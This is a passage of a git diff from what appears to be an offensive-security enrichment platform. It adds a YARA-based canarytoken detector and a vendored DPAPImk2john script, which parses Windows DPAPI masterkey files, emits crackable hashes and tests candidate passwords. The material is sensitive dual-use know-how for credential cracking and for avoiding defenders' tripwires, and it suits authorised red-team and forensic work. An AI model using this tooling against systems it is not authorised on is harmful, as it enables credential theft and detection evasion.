+ outputq_dpapidomainbackupkey,
+ outputq_fileinfo,
+ outputq_registryvalue,
+ outputq_service,
+ outputq_namedpipe,
+ outputq_networkconnection,
+ )
+
+ task_registryhive = providers.Factory(
+ RegistryHive,
+ storage_service,
+ config.registry_value_batch_size,
+ inputq_filedataenriched_registryhive,
+ outputq_registryvalue,
+ )
+
+ task_servicecategorizer = providers.Factory(
+ ServiceCategorizer, inputq_service_servicecategorizer, outputq_serviceenriched, service_categorizer
+ )
+
+ #
+ # Web APIs (alphabetical order)
+ #
+ task_cracklist_api = providers.Factory(CrackListApi, storage_service, config.log_level)
+ task_mlmodels_api = providers.Factory(MlModelsApi, storage_service, config2)
+ task_nemesis_api = providers.Factory(
+ NemesisApi,
+ storage_service,
+ config.rabbitmq_connection_uri,
+ alerter_service,
+ database,
+ elasticsearch_client,
+ queue_name_to_producer_map,
+ config.assessment_id,
+ config.log_level,
+ config.reprocessing_workers,
+ )
+ task_landingpage = providers.Factory(LandingPageApi, config.log_level)
+ task_yara_api = providers.Factory(YaraApi, storage_service, config.yara_api_port, config.data_download_dir, config.log_level)
+
+ tasks = providers.Aggregate(
+ alerting=task_alerting, # type: ignore
+ chromiumcookie=task_chromiumcookie, # type: ignore
+ cracklist=task_cracklist_api, # type: ignore
+ dpapi=task_dpapi, # type: ignore
+ elasticconnector=task_elasticconnector, # type: ignore
+ fileprocessor=task_fileprocessor, # type: ignore
+ landingpage=task_landingpage, # type: ignore
+ mlmodels_api=task_mlmodels_api, # type: ignore
+ nemesis_api=task_nemesis_api, # type: ignore
+ postgresconnector=task_postgresconnector, # type: ignore
+ processcategorizer=task_processcategorizer, # type: ignore
+ rawdata=task_rawdatatag, # type: ignore
+ registryhive=task_registryhive, # type: ignore
+ servicecategorizer=task_servicecategorizer, # type: ignore
+ yara_api=task_yara_api, # type: ignore
+ )
diff --git a/cmd/enrichment/enrichment/lib/canaries.py b/cmd/enrichment/enrichment/lib/canaries.py
new file mode 100644
index 0000000..c893c63
--- /dev/null
+++ b/cmd/enrichment/enrichment/lib/canaries.py
@@ -0,0 +1,104 @@
+# Standard Libraries
+import re
+import zipfile
+
+# 3rd Party Libraries
+import nemesispb.nemesis_pb2 as pb
+import structlog
+import yara
+
+logger = structlog.get_logger(module=__name__)
+
+##################################################
+#
+# Canary helpers
+#
+##################################################
+
+# Rules for finding canaries
+# Add any custom canary rules here
+yara_rules = yara.compile(
+ source="""
+rule canary_domain {
+ meta:
+ description = "Detects the Canarytoken domain"
+ license = "BSD 3-clause"
+ author = "harmj0y"
+ date = "2023-01-06"
+ strings:
+ $regex = /canarytokens\.com/
+ condition:
+ $regex
+}
+"""
+)
+
+
+async def get_file_canaries(path: str) -> pb.Canaries:
+ """
+ Runs the specified Yara canary rules against the supplied file.
+ """
+
+ canaries = pb.Canaries()
+
+ try:
+ for match in yara_rules.match(path):
+ canaries.canaries_present = True
+
+ canary = pb.Canaries.Canary()
+ canary.type = match.rule
+ canary_urls = []
+
+ for strings in match.strings:
+ # make sure we strip off non alpha-numeric from the beginning/end
+ canary_urls.extend([re.sub(r"^\W+|\W+$", "", f"{i}") for i in strings.instances])
+
+ # uniqify the list
+ canary.data.extend(list(set(canary_urls)))
+ canaries.canaries.extend([canary])
+
+ except Exception as e:
+ await logger.awarning(f"Error in get_office_document_canaries: {e}", path=path)
+
+ return canaries
+
+
+async def get_office_document_canaries(path: str) -> pb.Canaries:
+ """
+ Runs the specified Yara canary rules against all of the internal
+ files in the supplied Office document.
+ """
+
+ canaries = pb.Canaries()
+ matches = {}
+
+ try:
+ archive = zipfile.ZipFile(path)
+ # get every relative path in this archive
+ for path in archive.namelist():
+ for match in yara_rules.match(data=archive.read(path)):
+ canaries.canaries_present = True
+
+ canary = pb.Canaries.Canary()
+ canary.type = match.rule
+ canary_urls = []
+
+ for strings in match.strings:
+ # make sure we strip off non alpha-numeric from the beginning/end
+ canary_urls.extend([re.sub(r"^\W+|\W+$", "", f"{i}") for i in strings.instances])
+
+ # uniqify the list
+ unique_urls = list(set(canary_urls))
+
+ # ensure we haven't had a match for this rule/url set already
+ # for some subfile in the document
+ id = f"{match.rule}{''.join(unique_urls)}"
+ if id not in matches:
+ canary.data.extend(unique_urls)
+ canaries.canaries.extend([canary])
+ matches[id] = True
+
+ except Exception as e:
+ await logger.awarning(f"Error in get_office_document_canaries: {e}", path=path)
+
+ return canaries
diff --git a/cmd/enrichment/enrichment/lib/ext_tools/DPAPImk2john.py b/cmd/enrichment/enrichment/lib/ext_tools/DPAPImk2john.py
new file mode 100644
index 0000000..aba00f5
--- /dev/null
+++ b/cmd/enrichment/enrichment/lib/ext_tools/DPAPImk2john.py
@@ -0,0 +1,980 @@
+#!/usr/bin/env python
+# -*- coding: utf-8 -*-
+
+# Modified (for JtR) by Dhiru Kholia in December, 2014.
+# Modified (for JtR) by Jean-Christophe Delaunay
+# in 2017
+# to support further options and JtR new hash format
+#
+# This file is part of DPAPIck
+# Windows DPAPI decryption & forensic toolkit
+#
+# Copyright (C) 2010, 2011 Cassidian SAS. All rights reserved.
+# This document is the property of Cassidian SAS, it may not be copied or
+# circulated without prior licence
+#
+# Author: Jean-Michel Picod
+#
+# This program is distributed under GPLv3 licence (see LICENCE.txt)
+
+# Standard Libraries
+import argparse
+import array
+import binascii
+import hashlib
+import hmac
+import struct
+import sys
+from collections import defaultdict
+
+# 3rd Party Libraries
+import structlog
+
+logger = structlog.get_logger(module=__name__)
+
+try:
+ # 3rd Party Libraries
+ from Crypto.Cipher import AES, DES, DES3
+except ImportError:
+ logger.error("Error: Please install the pycryptodome package.\n")
+ sys.exit(1)
+
+debug = False
+
+
+def hexstr(bytestr):
+ return binascii.hexlify(bytestr).decode("ascii")
+
+
+class Eater(object):
+ """This class is a helper for parsing binary structures."""
+
+ def __init__(self, raw, offset=0, end=None, endianness="<"):
+ self.raw = raw
+ self.ofs = offset
+ if end is None:
+ end = len(raw)
+ self.end = end
+ self.endianness = endianness
+
+ def prepare_fmt(self, fmt):
+ """Internal use. Prepend endianness to the given format if it is not
+ already specified.
+
+ fmt is a format string for struct.unpack()
+
+ Returns a tuple of the format string and the corresponding data size.
+
+ """
+ if fmt[0] not in ("<", ">", "!", "@"):
+ fmt = self.endianness + fmt
+ return fmt, struct.calcsize(fmt)
+
+ def read(self, fmt):
+ """Parses data with the given format string without taking away bytes.
+
+ Returns an array of elements or just one element depending on fmt.
+
+ """
+ fmt, sz = self.prepare_fmt(fmt)
+ v = struct.unpack_from(fmt, self.raw, self.ofs)
+ if len(v) == 1:
+ v = v[0]
+ return v
+
+ def eat(self, fmt):
+ """Parses data with the given format string.
+
+ Returns an array of elements or just one element depending on fmt.
+
+ """
+ fmt, sz = self.prepare_fmt(fmt)
+ v = struct.unpack_from(fmt, self.raw, self.ofs)
+ if len(v) == 1:
+ v = v[0]
+ self.ofs += sz
+ return v
+
+ def eat_string(self, length):
+ """Eats and returns a string of length characters"""
+ return self.eat("%us" % length)
+
+ def eat_length_and_string(self, fmt):
+ """Eats and returns a string which length is obtained after eating
+ an integer represented by fmt
+
+ """
+ l = self.eat(fmt)
+ return self.eat_string(l)
+
+ def pop(self, fmt):
+ """Eats a structure represented by fmt from the end of raw data"""
+ fmt, sz = self.prepare_fmt(fmt)
+ self.end -= sz
+ v = struct.unpack_from(fmt, self.raw, self.end)
+ if len(v) == 1:
+ v = v[0]
+ return v
+
+ def pop_string(self, length):
+ """Pops and returns a string of length characters"""
+ return self.pop("%us" % length)
+
+ def pop_length_and_string(self, fmt):
+ """Pops and returns a string which length is obtained after poping an
+ integer represented by fmt.
+
+ """
+ l = self.pop(fmt)
+ return self.pop_string(l)
+
+ def remain(self):
+ """Returns all the bytes that have not been eated nor poped yet."""
+ return self.raw[self.ofs : self.end]
+
+ def eat_sub(self, length):
+ """Eats a sub-structure that is contained in the next length bytes"""
+ sub = self.__class__(self.raw[self.ofs : self.ofs + length], endianness=self.endianness)
+ self.ofs += length
+ return sub
+
+ def __nonzero__(self):
+ return self.ofs < self.end
+
+
+class DataStruct(object):
+ """Don't use this class unless you know what you are doing!"""
+
+ def __init__(self, raw=None):
+ if raw is not None:
+ self.parse(Eater(raw, endianness="<"))
+
+ def parse(self, eater_obj):
+ raise NotImplementedError("This function must be implemented in subclasses")
+
+
+class DPAPIBlob(DataStruct):
+ """Represents a DPAPI blob"""
+
+ def __init__(self, raw=None):
+ """Constructs a DPAPIBlob. If raw is set, automatically calls
+ parse().
+
+ """
+ self.version = None
+ self.provider = None
+ self.mkguid = None
+ self.mkversion = None
+ self.flags = None
+ self.description = None
+ self.cipherAlgo = None
+ self.keyLen = 0
+ self.hmac = None
+ self.strong = None
+ self.hashAlgo = None
+ self.hashLen = 0
+ self.cipherText = None
+ self.salt = None
+ self.blob = None
+ self.sign = None
+ self.cleartext = None
+ self.decrypted = False
+ self.signComputed = None
+ DataStruct.__init__(self, raw)
+
+ def __repr__(self):
+ s = [
+ "DPAPI BLOB",
+ "\n".join(
+ (
+ "\tversion = %(version)d",
+ "\tprovider = %(provider)s",
+ "\tmkey = %(mkguid)s",
+ "\tflags = %(flags)#x",
+ "\tdescr = %(description)s",
+ "\tcipherAlgo = %(cipherAlgo)r",
+ "\thashAlgo = %(hashAlgo)r",
+ )
+ )
+ % self.__dict__,
+ "\tsalt = %s" % hexstr(self.salt),
+ "\thmac = %s" % hexstr(self.hmac),
+ "\tcipher = %s" % hexstr(self.cipherText),
+ "\tsign = %s" % hexstr(self.sign),
+ ]
+ if self.signComputed is not None:
+ s.append("\tsignComputed = %s" % hexstr(self.signComputed))
+ if self.cleartext is not None:
+ s.append("\tcleartext = %r" % self.cleartext)
+ return "\n".join(s)
+
+
+class CryptoAlgo(object):
+ """This class is used to wrap Microsoft algorithm IDs with M2Crypto"""
+
+ class Algo(object):
+ def __init__(self, data):
+ self.data = data
+
+ def __getattr__(self, attr):
+ if attr in self.data:
+ return self.data[attr]
+ raise AttributeError(attr)
+
+ _crypto_data = {}
+
+ @classmethod
+ def add_algo(cls, algnum, **kargs):
+ cls._crypto_data[algnum] = cls.Algo(kargs)
+ if "name" in kargs:
+ kargs["ID"] = algnum
+ cls._crypto_data[kargs["name"]] = cls.Algo(kargs)
+
+ @classmethod
+ def get_algo(cls, algnum):
+ return cls._crypto_data[algnum]
+
+ def __init__(self, i):
+ self.algnum = i
+ self.algo = CryptoAlgo.get_algo(i)
+
+ name = property(lambda self: self.algo.name)
+ module = property(lambda self: self.algo.module)
+ keyLength = property(lambda self: self.algo.keyLength // 8)
+ ivLength = property(lambda self: self.algo.IVLength // 8)
+ blockSize = property(lambda self: self.algo.blockLength // 8)
+ digestLength = property(lambda self: self.algo.digestLength // 8)
+
+ def do_fixup_key(self, key):
+ try:
+ return self.algo.keyFixup.__call__(key)
+ except AttributeError:
+ return key
+
+ def __repr__(self):
+ return "%s [%#x]" % (self.algo.name, self.algnum)
+
+
+def des_set_odd_parity(key):
+ _lut = [
+ 1,
+ 1,
+ 2,
+ 2,
+ 4,
+ 4,
+ 7,
+ 7,
+ 8,
+ 8,
+ 11,
+ 11,
+ 13,
+ 13,
+ 14,
+ 14,
+ 16,
+ 16,
+ 19,
+ 19,
+ 21,
+ 21,
+ 22,
+ 22,
+ 25,
+ 25,
+ 26,
+ 26,
+ 28,
+ 28,
+ 31,
+ 31,
+ 32,
+ 32,
+ 35,
+ 35,
+ 37,
+ 37,
+ 38,
+ 38,
+ 41,
+ 41,
+ 42,
+ 42,
+ 44,
+ 44,
+ 47,
+ 47,
+ 49,
+ 49,
+ 50,
+ 50,
+ 52,
+ 52,
+ 55,
+ 55,
+ 56,
+ 56,
+ 59,
+ 59,
+ 61,
+ 61,
+ 62,
+ 62,
+ 64,
+ 64,
+ 67,
+ 67,
+ 69,
+ 69,
+ 70,
+ 70,
+ 73,
+ 73,
+ 74,
+ 74,
+ 76,
+ 76,
+ 79,
+ 79,
+ 81,
+ 81,
+ 82,
+ 82,
+ 84,
+ 84,
+ 87,
+ 87,
+ 88,
+ 88,
+ 91,
+ 91,
+ 93,
+ 93,
+ 94,
+ 94,
+ 97,
+ 97,
+ 98,
+ 98,
+ 100,
+ 100,
+ 103,
+ 103,
+ 104,
+ 104,
+ 107,
+ 107,
+ 109,
+ 109,
+ 110,
+ 110,
+ 112,
+ 112,
+ 115,
+ 115,
+ 117,
+ 117,
+ 118,
+ 118,
+ 121,
+ 121,
+ 122,
+ 122,
+ 124,
+ 124,
+ 127,
+ 127,
+ 128,
+ 128,
+ 131,
+ 131,
+ 133,
+ 133,
+ 134,
+ 134,
+ 137,
+ 137,
+ 138,
+ 138,
+ 140,
+ 140,
+ 143,
+ 143,
+ 145,
+ 145,
+ 146,
+ 146,
+ 148,
+ 148,
+ 151,
+ 151,
+ 152,
+ 152,
+ 155,
+ 155,
+ 157,
+ 157,
+ 158,
+ 158,
+ 161,
+ 161,
+ 162,
+ 162,
+ 164,
+ 164,
+ 167,
+ 167,
+ 168,
+ 168,
+ 171,
+ 171,
+ 173,
+ 173,
+ 174,
+ 174,
+ 176,
+ 176,
+ 179,
+ 179,
+ 181,
+ 181,
+ 182,
+ 182,
+ 185,
+ 185,
+ 186,
+ 186,
+ 188,
+ 188,
+ 191,
+ 191,
+ 193,
+ 193,
+ 194,
+ 194,
+ 196,
+ 196,
+ 199,
+ 199,
+ 200,
+ 200,
+ 203,
+ 203,
+ 205,
+ 205,
+ 206,
+ 206,
+ 208,
+ 208,
+ 211,
+ 211,
+ 213,
+ 213,
+ 214,
+ 214,
+ 217,
+ 217,
+ 218,
+ 218,
+ 220,
+ 220,
+ 223,
+ 223,
+ 224,
+ 224,
+ 227,
+ 227,
+ 229,
+ 229,
+ 230,
+ 230,
+ 233,
+ 233,
+ 234,
+ 234,
+ 236,
+ 236,
+ 239,
+ 239,
+ 241,
+ 241,
+ 242,
+ 242,
+ 244,
+ 244,
+ 247,
+ 247,
+ 248,
+ 248,
+ 251,
+ 251,
+ 253,
+ 253,
+ 254,
+ 254,
+ ]
+ tmp = array.array("B")
+ tmp.fromstring(key)
+ for i, v in enumerate(tmp):
+ tmp[i] = _lut[v]
+ return tmp.tostring()
+
+
+CryptoAlgo.add_algo(0x6603, name="DES3", keyLength=192, IVLength=64, blockLength=64, module=DES3, keyFixup=des_set_odd_parity)
+CryptoAlgo.add_algo(0x6611, name="AES", keyLength=128, IVLength=128, blockLength=128, module=AES)
+CryptoAlgo.add_algo(0x660E, name="AES-128", keyLength=128, IVLength=128, blockLength=128, module=AES)
+CryptoAlgo.add_algo(0x660F, name="AES-192", keyLength=192, IVLength=128, blockLength=128, module=AES)
+CryptoAlgo.add_algo(0x6610, name="AES-256", keyLength=256, IVLength=128, blockLength=128, module=AES)
+CryptoAlgo.add_algo(0x6601, name="DES", keyLength=64, IVLength=64, blockLength=64, module=DES, keyFixup=des_set_odd_parity)
+CryptoAlgo.add_algo(0x8009, name="HMAC", digestLength=160, blockLength=512)
+CryptoAlgo.add_algo(0x8003, name="md5", digestLength=128, blockLength=512)
+CryptoAlgo.add_algo(0x8004, name="sha1", digestLength=160, blockLength=512)
+CryptoAlgo.add_algo(0x800C, name="sha256", digestLength=256, blockLength=512)
+CryptoAlgo.add_algo(0x800D, name="sha384", digestLength=384, blockLength=1024)
+CryptoAlgo.add_algo(0x800E, name="sha512", digestLength=512, blockLength=1024)
+
+
+def pbkdf2_ms(passphrase, salt, keylen, iterations, digest="sha1"):
+ """Implementation of PBKDF2 that allows specifying digest algorithm.
+
+ Returns the corresponding expanded key which is keylen long.
+
+ Note: This is not real pbkdf2, but instead a slight modification of it.
+ Seems like Microsoft tried to implement pbkdf2 but got the xoring wrong.
+ """
+ buff = b""
+ i = 1
+ while len(buff) < keylen:
+ U = salt + struct.pack("!L", i)
+ i += 1
+ derived = bytearray(hmac.new(passphrase, U, digestmod=lambda: hashlib.new(digest)).digest())
+ for r in range(iterations - 1):
+ actual = bytearray(hmac.new(passphrase, derived, digestmod=lambda: hashlib.new(digest)).digest())
+ derived = bytearray([x ^ y for (x, y) in zip(derived, actual)])
+ buff += derived
+ return bytes(buff[:keylen])
+
+
+def pbkdf2(passphrase, salt, keylen, iterations, digest="sha1"):
+ """Implementation of PBKDF2 that allows specifying digest algorithm.
+
+ Returns the corresponding expanded key which is keylen long.
+ """
+ buff = b""
+ i = 1
+ while len(buff) < keylen:
+ U = salt + struct.pack("!L", i)
+ i += 1
+ derived = bytearray(hmac.new(passphrase, U, digestmod=lambda: hashlib.new(digest)).digest())
+ actual = derived
+ for r in range(iterations - 1):
+ actual = bytearray(hmac.new(passphrase, actual, digestmod=lambda: hashlib.new(digest)).digest())
+ derived = bytearray([x ^ y for (x, y) in zip(derived, actual)])
+ buff += derived
+ return bytes(buff[:keylen])
+
+
+def derivePwdHash(pwdhash, userSID, digest="sha1"):
+ """Internal use. Computes the encryption key from a user's password hash"""
+ return hmac.new(pwdhash, (userSID + "\0").encode("UTF-16LE"), digestmod=lambda: hashlib.new(digest)).digest()
+
+
+def dataDecrypt(cipherAlgo, hashAlgo, raw, encKey, iv, rounds):
+ """Internal use. Decrypts data stored in DPAPI structures."""
+ hname = {"HMAC": "sha1"}.get(hashAlgo.name, hashAlgo.name)
+ derived = pbkdf2_ms(encKey, iv, cipherAlgo.keyLength + cipherAlgo.ivLength, rounds, hname)
+ key, iv = derived[: cipherAlgo.keyLength], derived[cipherAlgo.keyLength :]
+ key = key[: cipherAlgo.keyLength]
+ iv = iv[: cipherAlgo.ivLength]
+ cipher = cipherAlgo.module.new(key, mode=cipherAlgo.module.MODE_CBC, IV=iv)
+ cleartxt = cipher.decrypt(raw)
+ return cleartxt
+
+
+def DPAPIHmac(hashAlgo, pwdhash, hmacSalt, value):
+ """Internal function used to compute HMACs of DPAPI structures"""
+ hname = {"HMAC": "sha1"}.get(hashAlgo.name, hashAlgo.name)
+ encKey = hmac.new(pwdhash, digestmod=lambda: hashlib.new(hname))
+ encKey.update(hmacSalt)
+ encKey = encKey.digest()
+ rv = hmac.new(encKey, digestmod=lambda: hashlib.new(hname))
+ rv.update(value)
+ return rv.digest()
+
+
+def display_masterkey(Preferred):
+ GUID1 = Preferred.read(8)
+ GUID2 = Preferred.read(8)
+
+ GUID = struct.unpack("HLH", GUID2)
+
+ print(
+ "%s-%s-%s-%s-%s%s"
+ % (
+ format(GUID[0], "08x"),
+ format(GUID[1], "04x"),
+ format(GUID[2], "04x"),
+ format(GUID2[0], "04x"),
+ format(GUID2[1], "08x"),
+ format(GUID2[2], "04x"),
+ )
+ )
+
+
+class MasterKey(DataStruct):
+ """This class represents a MasterKey block contained in a MasterKeyFile"""
+
+ def __init__(self, raw=None, SID=None, context=None):
+ self.decrypted = False
+ self.key = None
+ self.key_hash = None
+ self.hmacSalt = None
+ self.hmac = None
+ self.hmacComputed = None
+ self.cipherAlgo = None
+ self.hashAlgo = None
+ self.rounds = None
+ self.iv = None
+ self.version = None
+ self.ciphertext = None
+ self.SID = SID
+ self.context = context
+ DataStruct.__init__(self, raw)
+
+ def __getstate__(self):
+ d = dict(self.__dict__)
+ for k in ["cipherAlgo", "hashAlgo"]:
+ if k in d:
+ d[k] = d[k].algnum
+ return d
+
+ def __setstate__(self, d):
+ for k in ["cipherAlgo", "hashAlgo"]:
+ if k in d:
+ d[k] = CryptoAlgo(d[k])
+ self.__dict__.update(d)
+
+ def parse(self, data):
+ self.version = data.eat("L")
+ self.iv = data.eat("16s")
+ self.rounds = data.eat("L")
+ self.hashAlgo = CryptoAlgo(data.eat("L"))
+ self.cipherAlgo = CryptoAlgo(data.eat("L"))
+ self.ciphertext = data.remain()
+ if self.SID:
+ print(self.jhash())
+
+ def decryptWithHash(self, userSID, pwdhash):
+ """Decrypts the masterkey with the given user's hash and SID.
+ Simply computes the corresponding key then calls self.decryptWithKey()
+
+ """
+ self.decryptWithKey(derivePwdHash(pwdhash, userSID))
+
+ def jhash(self):
+ version = -1
+ hmac_algo = None
+ cipher_algo = None
+ if "des3" in str(self.cipherAlgo).lower() and "hmac" in str(self.hashAlgo).lower():
+ version = 1
+ hmac_algo = "sha1"
+ cipher_algo = "des3"
+ elif "aes-256" in str(self.cipherAlgo).lower() and "sha512" in str(self.hashAlgo).lower():
+ version = 2
+ hmac_algo = "sha512"
+ cipher_algo = "aes256"
+ else:
+ return "Unsupported combination of cipher '%s' and hash algorithm '%s' found!" % (self.cipherAlgo, self.hashAlgo)
+ context = 0
+
+ if self.context == "domain":
+ context = 2
+ s = "$DPAPImk$%d*%d*%s*%s*%s*%d*%s*%d*%s" % (
+ version,
+ context,
+ self.SID,
+ cipher_algo,
+ hmac_algo,
+ self.rounds,
+ hexstr(self.iv),
+ len(hexstr(self.ciphertext)),
+ hexstr(self.ciphertext),
+ )
+ context = 3
+ s += "\n$DPAPImk$%d*%d*%s*%s*%s*%d*%s*%d*%s" % (
+ version,
+ context,
+ self.SID,
+ cipher_algo,
+ hmac_algo,
+ self.rounds,
+ hexstr(self.iv),
+ len(hexstr(self.ciphertext)),
+ hexstr(self.ciphertext),
+ )
+ else:
+ if self.context == "local":
+ context = 1
+ elif self.context == "domain1607-":
+ context = 2
+ elif self.context == "domain1607+":
+ context = 3
+
+ s = "$DPAPImk$%d*%d*%s*%s*%s*%d*%s*%d*%s" % (
+ version,
+ context,
+ self.SID,
+ cipher_algo,
+ hmac_algo,
+ self.rounds,
+ hexstr(self.iv),
+ len(hexstr(self.ciphertext)),
+ hexstr(self.ciphertext),
+ )
+ return s
+
+ def setKeyHash(self, h):
+ assert len(h) == 20
+ self.decrypted = True
+ self.key_hash = h
+
+ def setDecryptedKey(self, data):
+ assert len(data) == 64
+ self.decrypted = True
+ self.key = data
+ self.key_hash = hashlib.sha1(data).digest()
+
+ def decryptWithKey(self, pwdhash):
+ """Decrypts the masterkey with the given encryption key. This function
+ also extracts the HMAC part of the decrypted stuff and compare it with
+ the computed one.
+
+ Note that, once successfully decrypted, the masterkey will not be
+ decrypted anymore; this function will simply return.
+
+ """
+ if self.decrypted:
+ return
+ if not self.ciphertext:
+ return
+
+ cleartxt = dataDecrypt(self.cipherAlgo, self.hashAlgo, self.ciphertext, pwdhash, self.iv, self.rounds)
+ self.key = cleartxt[-64:]
+ self.hmacSalt = cleartxt[:16]
+ self.hmac = cleartxt[16 : 16 + self.hashAlgo.digestLength]
+ self.hmacComputed = DPAPIHmac(self.hashAlgo, pwdhash, self.hmacSalt, self.key)
+ self.decrypted = self.hmac == self.hmacComputed
+
+ def __repr__(self):
+ s = ["Masterkey block"]
+ if self.cipherAlgo is not None:
+ s.append("\tcipher algo = %s" % repr(self.cipherAlgo))
+ if self.hashAlgo is not None:
+ s.append("\thash algo = %s" % repr(self.hashAlgo))
+ if self.rounds is not None:
+ s.append("\trounds = %i" % self.rounds)
+ if self.iv is not None:
+ s.append("\tIV = %s" % hexstr(self.iv))
+ if self.key is not None:
+ s.append("\tkey = %s" % hexstr(self.key))
+ if self.hmacSalt is not None:
+ s.append("\thmacSalt = %s" % hexstr(self.hmacSalt))
+ if self.hmac is not None:
+ s.append("\thmac = %s" % hexstr(self.hmac))
+ if self.hmacComputed is not None:
+ s.append("\thmacComputed = %s" % hexstr(self.hmacComputed))
+ if self.key_hash is not None:
+ s.append("\tkey hash = %s" % hexstr(self.key_hash))
+ if self.ciphertext is not None:
+ s.append("\tciphertext = %s" % hexstr(self.ciphertext))
+ return "\n".join(s)
+
+
+class MasterKeyFile(DataStruct):
+ """This class represents a masterkey file."""
+
+ def __init__(self, raw=None, SID=None, context=None):
+ self.masterkey = None
+ self.backupkey = None
+ self.credhist = None
+ self.domainkey = None
+ self.decrypted = False
+ self.version = None
+ self.guid = None
+ self.policy = None
+ self.masterkeyLen = self.backupkeyLen = self.credhistLen = self.domainkeyLen = 0
+ self.SID = SID
+ self.context = context
+ DataStruct.__init__(self, raw)
+
+ def parse(self, data):
+ self.version = data.eat("L")
+ # print(self.version)
+ data.eat("2L")
+ self.guid = data.eat("72s").decode("UTF-16LE").encode("utf-8")
+ # print("GUID", self.guid)
+ data.eat("2L")
+ self.policy = data.eat("L")
+ self.masterkeyLen = data.eat("Q")
+ # print(self.masterkeyLen)
+ self.backupkeyLen = data.eat("Q")
+ self.credhistLen = data.eat("Q")
+ self.domainkeyLen = data.eat("Q")
+
+ if self.masterkeyLen > 0:
+ self.masterkey = MasterKey(SID=self.SID, context=self.context)
+ self.masterkey.parse(data.eat_sub(self.masterkeyLen))
+ if self.backupkeyLen > 0:
+ self.backupkey = MasterKey()
+ self.backupkey.parse(data.eat_sub(self.backupkeyLen))
+
+ def decryptWithHash(self, userSID, h):
+ """See MasterKey.decryptWithHash()"""
+ if not self.masterkey.decrypted:
+ self.masterkey.decryptWithHash(userSID, h)
+ if not self.backupkey.decrypted:
+ self.backupkey.decryptWithHash(userSID, h)
+ self.decrypted = self.masterkey.decrypted or self.backupkey.decrypted
+
+ def decryptWithPassword(self, userSID, pwd, context):
+ """See MasterKey.decryptWithPassword()"""
+ algo = None
+ if context == "domain1607-" or context == "domain":
+ self.decryptWithHash(userSID, hashlib.new("md4", pwd.encode("UTF-16LE")).digest())
+ if self.decrypted:
+ logger.info("Decrypted succesfully as domain1607-")
+ return
+ if context == "domain1607+" or context == "domain":
+ SIDenc = userSID.encode("UTF-16LE")
+ NTLMhash = hashlib.new("md4", pwd.encode("UTF-16LE")).digest()
+ derived = pbkdf2(NTLMhash, SIDenc, 32, 10000, digest="sha256")
+ derived = pbkdf2(derived, SIDenc, 16, 1, digest="sha256")
+ self.decryptWithHash(userSID, derived)
+ if self.decrypted:
+ logger.info("Decrypted succesfully as domain1607+")
+ return
+ if context == "local":
+ self.decryptWithHash(userSID, hashlib.new("sha1", pwd.encode("UTF-16LE")).digest())
+
+ def __repr__(self):
+ s = ["\n#### MasterKeyFile %s ####" % self.guid.decode("utf-8")]
+ if self.version is not None:
+ s.append("\tversion = %#d" % self.version)
+ if self.policy is not None:
+ s.append("\tPolicy = %#x" % self.policy)
+ if self.masterkeyLen > 0:
+ s.append("\tMasterKey = %d" % self.masterkeyLen)
+ if self.backupkeyLen > 0:
+ s.append("\tBackupKey = %d" % self.backupkeyLen)
+ if self.domainkeyLen > 0:
+ s.append("\tDomainKey = %d" % self.domainkeyLen)
+ if self.masterkey:
+ s.append(" + Master Key: %s" % repr(self.masterkey))
+ if self.backupkey:
+ s.append(" + Backup Key: %s" % repr(self.backupkey))
+ if self.domainkey:
+ s.append(" + %s" % repr(self.domainkey))
+ return "\n".join(s)
+
+
+class MasterKeyPool(object):
+ """This class is the pivot for using DPAPIck. It manages all the DPAPI
+ structures and contains all the decryption intelligence.
+
+ """
+
+ def __init__(self):
+ self.keys = defaultdict(lambda: [])
+ self.passwords = set()
+
+ def addMasterKey(self, mkey, SID=None, context=None):
+ """Add a MasterKeyFile is the pool.
+
+ mkey is a string representing the content of the file to add.
+
+ """
+ mkf = MasterKeyFile(mkey, SID=SID, context=context)
+ self.keys[mkf.guid].append(mkf)
+
+ def addMasterKeyHash(self, guid, h):
+ self.keys[guid].append(MasterKeyFile().addKeyHash(guid, h))
+
+ def try_credential(self, userSID, password, context):
+ """This function tries to decrypt every masterkey contained in the pool
+ that has not been successfully decrypted yet with the given password and
+ SID.
+
+ userSID is a string representing the user's SID
+ password is a string representing the user's password.
+
+ Returns the number of masterkey that has been successfully decrypted
+ with those credentials.
+
+ """
+ n = 0
+ for mkl in self.keys.values():
+ if debug:
+ print(mkl)
+ for mk in mkl:
+ if not mk.decrypted:
+ if password is not None:
+ mk.decryptWithPassword(userSID, password, context)
+ if mk.decrypted:
+ self.passwords.add(password)
+ n += 1
+ return n
+
+ def __repr__(self):
+ s = ["MasterKeyPool:", "Passwords:", repr(self.passwords), "Keys:", repr(self.keys.items())]
+ if self.system is not None:
+ s.append(repr(self.system))
+ for i in self.creds.keys():
+ s.append("\tSID: %s" % i)
+ s.append(repr(self.creds[i]))
+ return "\n".join(s)
+
+
+if __name__ == "__main__":
+ parser = argparse.ArgumentParser()
+ parser.add_argument("-S", "--sid", required=False, help="SID of account owning the masterkey file.")
+ parser.add_argument("-mk", "--masterkey", required=False, help="masterkey file (usually in %%APPDATA%%\\Protect\\).")
+ parser.add_argument("-d", "--debug", default=False, action="store_true", dest="debug")
+ parser.add_argument(
+ "-c",
+ "--context",
+ required=False,
+ help="context of user account. 1607 refers to Windows 10 1607 update.",
+ choices=["domain", "domain1607+", "domain1607-", "local"],
+ )
+ parser.add_argument(
+ "-P",
+ "--preferred",
+ required=False,
+ help="'Preferred' file containing GUID of masterkey file in use (usually in %%APPDATA%%\\Protect\\). Cannot be used with any other command.",
+ )
+ parser.add_argument("--password", metavar="PASSWORD", dest="password", help="password to decrypt masterkey file.")
+
+ options = parser.parse_args()
+ debug = options.debug
+
+ if options.preferred and (options.masterkey or options.sid or options.context):
+ logger.error("'Preferred' option cannot be used combined with any other, exiting.")
+ sys.exit(1)
+ elif not options.preferred and not (options.masterkey and options.sid and options.context):
+ logger.error("masterkey file, SID and context are mandatory in order to extract hash from masterkey file, exiting.")
+ sys.exit(1)
+ elif options.preferred:
+ Preferred = open(options.preferred, "rb")
+ display_masterkey(Preferred)
+ Preferred.close()
+ sys.exit(1)
+ else:
+ mkp = MasterKeyPool()
+ masterkeyfile = open(options.masterkey, "rb")
+ mkdata = masterkeyfile.read()
+ masterkeyfile.close()
+ mkp.addMasterKey(mkdata, SID=options.sid, context=options.context)
+ if options.password:
+ print(mkp.try_credential(options.sid, options.password, options.context))
diff --git a/cmd/enrichment/enrichment/lib/ext_tools/LICENSE b/cmd/enrichment/enrichment/lib/ext_tools/LICENSE
new file mode 100644
index 0000000..88046d3
--- /dev/null
